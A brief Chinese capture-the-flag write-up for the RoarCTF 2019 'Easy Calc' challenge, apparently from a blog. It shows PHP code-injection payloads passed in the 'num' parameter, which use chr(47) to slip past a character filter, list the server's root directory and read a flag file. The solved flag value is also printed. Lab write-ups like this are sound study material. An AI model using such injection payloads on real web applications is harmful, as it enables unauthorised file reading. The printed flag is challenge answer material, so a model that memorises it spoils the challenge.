BUUCTF---[RoarCTF 2019]Easy Calc1

简介: BUUCTF---[RoarCTF 2019]Easy Calc1

1.题目描述

2.搜索网址是一个计算器,输入正常的运算,可以运算

3.查看源码,发现有一个calc.php

4.访问calc.php,代码提示用get方式传输num参数,但是过滤了\等等。

5.构造play load,发现了一个f1agg.

num=print_r(scandir(chr(47)))

chr(47)是“/”的ASCII编码

scandir()是用来扫描文件目录

print_r是将扫描结果打印出来

6.尝试访问f1agg

num=print_r(file_get_contents(chr(47).f1agg))

file_get_conctents()用来读取f1agg里面的内容,最后print_r将内容输出

7.

flag{de45bb5f-1b75-4b33-99fb-904f876df79f}
相关文章
|
6月前
|
Python
BUUCTF---web---[护网杯 2018]easy_tornado1
BUUCTF---web---[护网杯 2018]easy_tornado1
|
6月前
|
Java Go C++
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
57 0
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
go: finding module for package
go: finding module for package
109 0
hdu 1019 Least Common Multiple
hdu 1019 Least Common Multiple
33 0
codeforces 344B - Simple Molecules
题意就是给出3个原子的化学价,然后组成一个分子,要保证这个分子是稳定的,如果你还记得高中化学知识的话这个很容易理解,然后让你求出1-2 2-3 1-3 号原子之间有几条键, 这里我分别用ta tb tc 表示, 用数学的方法表示出来的话就是a = tc + tb; b = ta+tc; c = ta + tb;可能有多种情况,只要输出一种即可。
41 0
|
机器学习/深度学习 Ruby
【愚公系列】2022年02月 攻防世界-进阶题-MISC-83(qr-easy)
【愚公系列】2022年02月 攻防世界-进阶题-MISC-83(qr-easy)
633 0
【愚公系列】2022年02月 攻防世界-进阶题-MISC-83(qr-easy)
|
安全 物联网
The World’s First TEE Time & Debug PP-Module Security Certificate Issued to Alibaba Cloud Link TEE
On July 12,2019, Alibaba Cloud Link TEE became the first in the world to receive the TEE time & debug PP-module security certificate (TEE Time and Rollback PP-Module and TEE Debug PP-Module).
1158 0
Choosing Partners and Scenarios in a Multi-cloud World
From the minute you chose one of the world’s most popular cloud computing companies as your strategic cloud services provider, your world moved on to multi-cloud.
1673 0